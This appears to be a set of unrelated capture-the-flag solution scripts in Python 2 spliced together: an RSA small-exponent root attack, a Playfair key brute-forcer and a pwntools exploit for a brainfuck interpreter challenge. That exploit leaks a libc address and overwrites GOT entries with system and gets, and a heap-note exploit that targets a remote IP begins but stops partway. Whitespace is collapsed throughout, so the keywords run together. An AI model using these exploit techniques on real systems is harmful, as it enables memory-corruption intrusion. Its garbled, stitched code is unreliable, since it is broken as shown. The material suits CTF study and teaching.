defTrans(n): ans = 0 l = len(n) for i inrange(l): if n[i].isdigit(): ans += int(n[i]) elif n[i] == 'A': ans += 10 else: ans += 11 ans *= 12 return ans/12
n = "36004b9A985A624479A4891b16130722A5A7453989bA61737A226368504A5689381236451796A445824b5A516b176b40135935b0b8999046154359b0560537100289b9795129505b461542A4897A56561529A705135AA772507bb3172b03b3425A99224b68b45b801459b29A070bAb9408761b4A70b905308772472934486924bA17013A2A801041A05178b0488AA5" e = "5" c = "411A016A671768793b5AAbA4A043001A468b8A9A6122290461266393181b021812b6AAbAA1b57161bAA300321174154862338b0098249626A93116b34752540987309A08520bb6780804b5679144173Ab7301b49322587504A75A7A2445928A07A650bb6076bA3412b1375205336b43A11A1510A22893b937065"
n = Trans(n) e = Trans(e) c = Trans(c)
i = 0 while1: if(gmpy2.iroot(c+i*n, e)[1] == True): x = gmpy2.iroot(c+i*n, e)[0] print'{:x}'.format(x).decode('hex') break i += 1
defmatrix(key): matrix=[] for e in key.upper(): if e notin matrix: matrix.append(e) alphabet="ABCDEFGHIKLMNOPQRSTUVWXYZ" for e in alphabet: if e notin matrix: matrix.append(e) matrix_group=[] for e inrange(5): matrix_group.append('') matrix_group[0]=matrix[0:5] matrix_group[1]=matrix[5:10] matrix_group[2]=matrix[10:15] matrix_group[3]=matrix[15:20] matrix_group[4]=matrix[20:25] return matrix_group
deffind_position(key_matrix,letter): x = y = 0 for i inrange(5): for j inrange(5): if key_matrix[i][j] == letter: x = i y = j return x,y
defcipher_to_digraphs(cipher): i=0 new=[] for x inrange(len(cipher)/2): new.append(cipher[i:i+2]) i=i+2 return new
defdecrypt(cipher,key): cipher=cipher_to_digraphs(cipher) key_matrix=matrix(key) plaintext=[] for e in cipher: p1,q1=find_position(key_matrix,e[0]) p2,q2=find_position(key_matrix,e[1]) if p1==p2: if q1==4: q1=-1 if q2==4: q2=-1 plaintext.append(key_matrix[p1][q1-1]) plaintext.append(key_matrix[p1][q2-1]) elif q1==q2: if p1==4: p1=-1; if p2==4: p2=-1; plaintext.append(key_matrix[p1-1][q1]) plaintext.append(key_matrix[p2-1][q2]) else: plaintext.append(key_matrix[p1][q2]) plaintext.append(key_matrix[p2][q1])
for unused inrange(len(plaintext)): if"X"in plaintext: plaintext.remove("X") output="" for e in plaintext: output+=e return output.lower()
defmain(): key = "" s = set() table = "ABCDEFGHIKLMNOPQRSTUVWXYZ" cipher = "DMBCCVTLMNKQ" for a inrange(25): key = table[a] for b inrange(25): key += table[b] for c inrange(25): key += table[c] for d inrange(25): key += table[d] r = ''.join(x for i, x inenumerate(key) if key.index(x) == i) iflen(r) == 4and"flaga"in decrypt(cipher,key): s.add(decrypt(cipher,key)) key = key[:3] key = key[:2] key = key[:1] key = key[0] for x in s: print x
p.recvuntil("Type brainfuck instructions below:\n") p.sendline("."#call putchar to fill the got_putchar with its real_addr. + "<"*(0x70+1) + ">."*4#leak putchar_addr. + "<"*8+">,"*8+"<"*0x24+">,"*4#memset(gets),putchar(main),fgets(system). + ".")#call main
p.recv(1) base = u32(p.recv(4)) - libc.symbols["putchar"] #print base p.send(p32(libc.symbols["gets"] + base) + p32(0x8048671) + p32(libc.symbols["system"] + base))
#p = process('./babynote') p = remote('47.106.211.189', 10003)
defcreate(size,name,con): p.recvuntil('Your choice : ') p.sendline('1') p.recvuntil('Length of the name :') p.sendline(str(size)) p.recvuntil('The name of note :') p.send(name) p.recvuntil('The content of the note:') p.send(con)